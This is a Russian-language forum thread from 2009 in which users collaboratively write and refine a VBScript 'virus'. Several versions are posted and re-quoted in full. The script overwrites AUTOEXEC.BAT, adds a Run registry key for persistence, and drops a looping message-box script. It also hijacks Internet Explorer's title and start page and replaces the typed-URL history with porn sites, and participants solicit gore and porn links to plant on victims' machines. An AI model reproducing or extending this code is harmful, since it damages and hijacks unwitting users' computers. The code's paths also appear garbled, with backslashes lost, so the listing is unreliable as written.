ААА!!!1 УПЯЧКА АТАУКЕТ!!!!1111

Сообщение

popoffka666 · #3391 Сообщение 04.01.2009, 19:11

О_о
эта штука делает совершенно другое!
она меняет заголовок окна ИЕ, те то, что пишеться после заголовка сайта.
можно добавить это в код вируса, чтобы там писалось "Уныле браузер" х)

УПД

Новая версия вируса ~~с ароматом апельсина~~ с примочками для ИЕ х)
[spoiler=""соус""]set fs=createobject("Scripting.FileSystemObject")
if fs.fileexists("C:AUTOEXEC.BAT") then
set ab=fs.getfile("C:AUTOEXEC.BAT")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("C:AUTOEXEC.BAT")
autoexec.WriteLine ":network"
autoexec.WriteLine "start C:WINDOWSsystem32
etwork.vbs"
autoexec.WriteLine "goto network"
autoexec.close
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title", "уныле браузере"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "http://infoslash.net/url"
WshShell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunupyachni", "C:WINDOWSsystem32
etwork.vbs", "REG_SZ"
set virus=fs.CreateTextFile("C:WINDOWSsystem32
etwork.vbs")
virus.WriteLine "do"
virus.WriteLine "MsgBox ""Ты попячен реальне!!"""
virus.WriteLine "MsgBox ""ОЯЕБУ УГ РЕАЛЬНЕ ПОПЯЧЕНЕ!!!"""
virus.WriteLine "loop"
virus.close
Set WShell = CreateObject("WScript.Shell")
ReturnCode = WShell.Run("C:WINDOWSsystem32
etwork.vbs")[/spoiler]

nALLITeT · #3392 Сообщение 04.01.2009, 19:16

popoffka писал(а):О_о
эта штука делает совершенно другое!
она меняет заголовок окна ИЕ, те то, что пишеться после заголовка сайта.
можно добавить это в код вируса, чтобы там писалось "Уныле браузер" х)

УПД

Новая версия вируса ~~с ароматом апельсина~~ с примочками для ИЕ х)
[spoiler=""соус""]set fs=createobject("Scripting.FileSystemObject")
if fs.fileexists("C:AUTOEXEC.BAT") then
set ab=fs.getfile("C:AUTOEXEC.BAT")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("C:AUTOEXEC.BAT")
autoexec.WriteLine ":network"
autoexec.WriteLine "start C:WINDOWSsystem32
etwork.vbs"
autoexec.WriteLine "goto network"
autoexec.close
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title", "уныле браузере"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "http://infoslash.net/url"
WshShell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunupyachni", "C:WINDOWSsystem32
etwork.vbs", "REG_SZ"
set virus=fs.CreateTextFile("C:WINDOWSsystem32
etwork.vbs")
virus.WriteLine "do"
virus.WriteLine "MsgBox ""Ты попячен реальне!!"""
virus.WriteLine "MsgBox ""ОЯЕБУ УГ РЕАЛЬНЕ ПОПЯЧЕНЕ!!!"""
virus.WriteLine "loop"
virus.close
Set WShell = CreateObject("WScript.Shell")
ReturnCode = WShell.Run("C:WINDOWSsystem32
etwork.vbs")[/spoiler]

Работает? Жду скринов х) из эмуляторов

popoffka666 · #3393 Сообщение 04.01.2009, 19:18

на скрине мало что покажешь. ведь меняется только заголовок окна и стартовая страница.
так, и ещё, всё кто может и кому не стыдно :) , кидаем сюда или мне в ЛС адреса порносайтов и прочей такой хуйни, они будут отображатся как последние набранные Х))))

nALLITeT · #3394 Сообщение 04.01.2009, 19:21

popoffka писал(а):на скрине мало что покажешь. ведь меняется только заголовок окна и стартовая страница.
так, и ещё, всё кто может и кому не стыдно :) , кидаем сюда или мне в ЛС адреса порносайтов и прочей такой хуйни, они будут отображатся как последние набранные Х))))

redtube.com

потом, xuk.ru ? и все %) яндекс больше не нашел ( ояебу!111 ПЫЩЬ)
я на них не сижу %)

popoffka666 · #3395 Сообщение 04.01.2009, 19:27

nALLITeT писал(а):я на них не сижу %)

успокойся, здесь все свои, не надо никого боятся, ты можешь сам во всём признатся, все это смотрят.
и, да, гей-порно и прочую противную хуиту тоже можно, хуже от этого будет только ~~юзеру~~ УГ-ламеру х)

Ra6a · #3396 Сообщение 04.01.2009, 19:30

nALLITeT · #3397 Сообщение 04.01.2009, 19:30

popoffka писал(а):
nALLITeT писал(а):я на них не сижу %)
успокойся, здесь все свои, не надо никого боятся, ты можешь сам во всём признатся, все это смотрят.
и, да, гей-порно и прочую противную хуиту тоже можно, хуже от этого будет только ~~юзеру~~ УГ-ламеру х)

зайди на ссылку, тут после регистрации куча ссылок на порно %) ( ДА да реферал!
блин, уже 2 ошибки исправил... жесть

popoffka666 · #3398 Сообщение 04.01.2009, 19:34

новая ебанутая версия упячни вируса заменяет все посещённые ссылки на порнуху итд
[spoiler=""соус""]удалено. читайте след. пост[/spoiler]

nALLITeT · #3399 Сообщение 04.01.2009, 19:39

popoffka писал(а):новая ебанутая версия упячни вируса заменяет все посещённые ссылки на порнуху итд
[spoiler=""соус""]set fs=createobject("Scripting.FileSystemObject")
if fs.fileexists("C:AUTOEXEC.BAT") then
set ab=fs.getfile("C:AUTOEXEC.BAT")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("C:AUTOEXEC.BAT")
autoexec.WriteLine ":network"
autoexec.WriteLine "start C:WINDOWSsystem32
etwork.vbs"
autoexec.WriteLine "goto network"
autoexec.close
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegDelete "HKCUSoftwareMicrosoftInternet ExplorerTyped URLs"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title", "уныле браузере"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "http://infoslash.net/url"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerTyped URLsurl1", "http://upyachka.ru"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerTyped URLsurl2", "http://redtube.com"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerTyped URLsurl3", "http://porntube.com"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerTyped URLsurl4", "http://infoslash.net/url"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerTyped URLsurl5", "http://xuk.ru"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerTyped URLsurl6", "http://trahnu.ru"
WshShell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunupyachni", "C:WINDOWSsystem32
etwork.vbs", "REG_SZ"
set virus=fs.CreateTextFile("C:WINDOWSsystem32
etwork.vbs")
virus.WriteLine "do"
virus.WriteLine "MsgBox ""Ты попячен реальне!!"""
virus.WriteLine "MsgBox ""ОЯЕБУ УГ РЕАЛЬНЕ ПОПЯЧЕНЕ!!"""
virus.WriteLine "loop"
virus.close
Set WShell = CreateObject("WScript.Shell")
ReturnCode = WShell.Run("C:WINDOWSsystem32
etwork.vbs")[/spoiler]

%username% ОТАКЕ!1111 ПОПЯЧИМ В ГАЗЕН УГ!111 ПЫЩЬ!1111

popoffka666 · #3400 Сообщение 04.01.2009, 19:40

ВНИМАНИЕ!!!111
ВЫЛОЖЕННАЯ МНОЙ РАНЕЕ ВЕРСИЯ НЕ ЕБАНУТАЯ!!!!!!!!!!!111111111
В НЕЙ ДОПУЩЕНА УНЫЛАЯ ОШИБКА!!!!1111111111111
ВОТ ПРАВИЛЬНАЯ ВЕРСИЯ:

nALLITeT · #3401 Сообщение 04.01.2009, 19:40

popoffka писал(а):ВНИМАНИЕ!!!111
ВЫЛОЖЕННАЯ МНОЙ РАНЕЕ ВЕРСИЯ НЕ ЕБАНУТАЯ!!!!!!!!!!!111111111
В НЕЙ ДОПУЩЕНА УНЫЛАЯ ОШИБКА!!!!1111111111111
ВОТ ПРАВИЛЬНАЯ ВЕРСИЯ:
set fs=createobject("Scripting.FileSystemObject")
if fs.fileexists("C:AUTOEXEC.BAT") then
set ab=fs.getfile("C:AUTOEXEC.BAT")
ab.attributes=0
end if
set autoexec=fs.CreateTextFile("C:AUTOEXEC.BAT")
autoexec.WriteLine ":network"
autoexec.WriteLine "start C:WINDOWSsystem32
etwork.vbs"
autoexec.WriteLine "goto network"
autoexec.close
Set WshShell = CreateObject("WScript.Shell")
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerMainWindow Title", "уныле браузере"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerMainStart Page", "http://infoslash.net/url"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerTypedURLsurl1", "http://upyachka.ru"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerTypedURLsurl2", "http://redtube.com"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerTypedURLsurl3", "http://porntube.com"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerTypedURLsurl4", "http://infoslash.net/url"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerTypedURLsurl5", "http://xuk.ru"
WshShell.RegWrite "HKCUSoftwareMicrosoftInternet ExplorerTypedURLsurl6", "http://trahnu.ru"
WshShell.RegWrite "HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRunupyachni", "C:WINDOWSsystem32
etwork.vbs", "REG_SZ"
set virus=fs.CreateTextFile("C:WINDOWSsystem32
etwork.vbs")
virus.WriteLine "do"
virus.WriteLine "MsgBox ""Ты попячен реальне!!"""
virus.WriteLine "MsgBox ""ОЯЕБУ УГ РЕАЛЬНЕ ПОПЯЧЕНЕ!!"""
virus.WriteLine "loop"
virus.close
Set WShell = CreateObject("WScript.Shell")
ReturnCode = WShell.Run("C:WINDOWSsystem32
etwork.vbs")

В чем ошибке %username%?777

popoffka666 · #3402 Сообщение 04.01.2009, 19:42

Ключ реестра, отвечающий за посещённые линки называется не Typed URLs, a TypedURLs .
И, да, юзернеймы, подкидывайте линки на расчленёнку, прон и прочую хуйню!!!

nALLITeT · #3403 Сообщение 04.01.2009, 19:43

а можно как то картинку на рабочий стол через твой "вирус" ставить? есть пару предложений такого, что все УГ попячится в ГАЗЕН само!
я кагбы ебанулся на отличненько!111

popoffka666 · #3404 Сообщение 04.01.2009, 19:44

у самого была такая идея, ша будем искать.

1nquIz · #3405 Сообщение 04.01.2009, 19:44

Через реестр можно всё что угодно делать.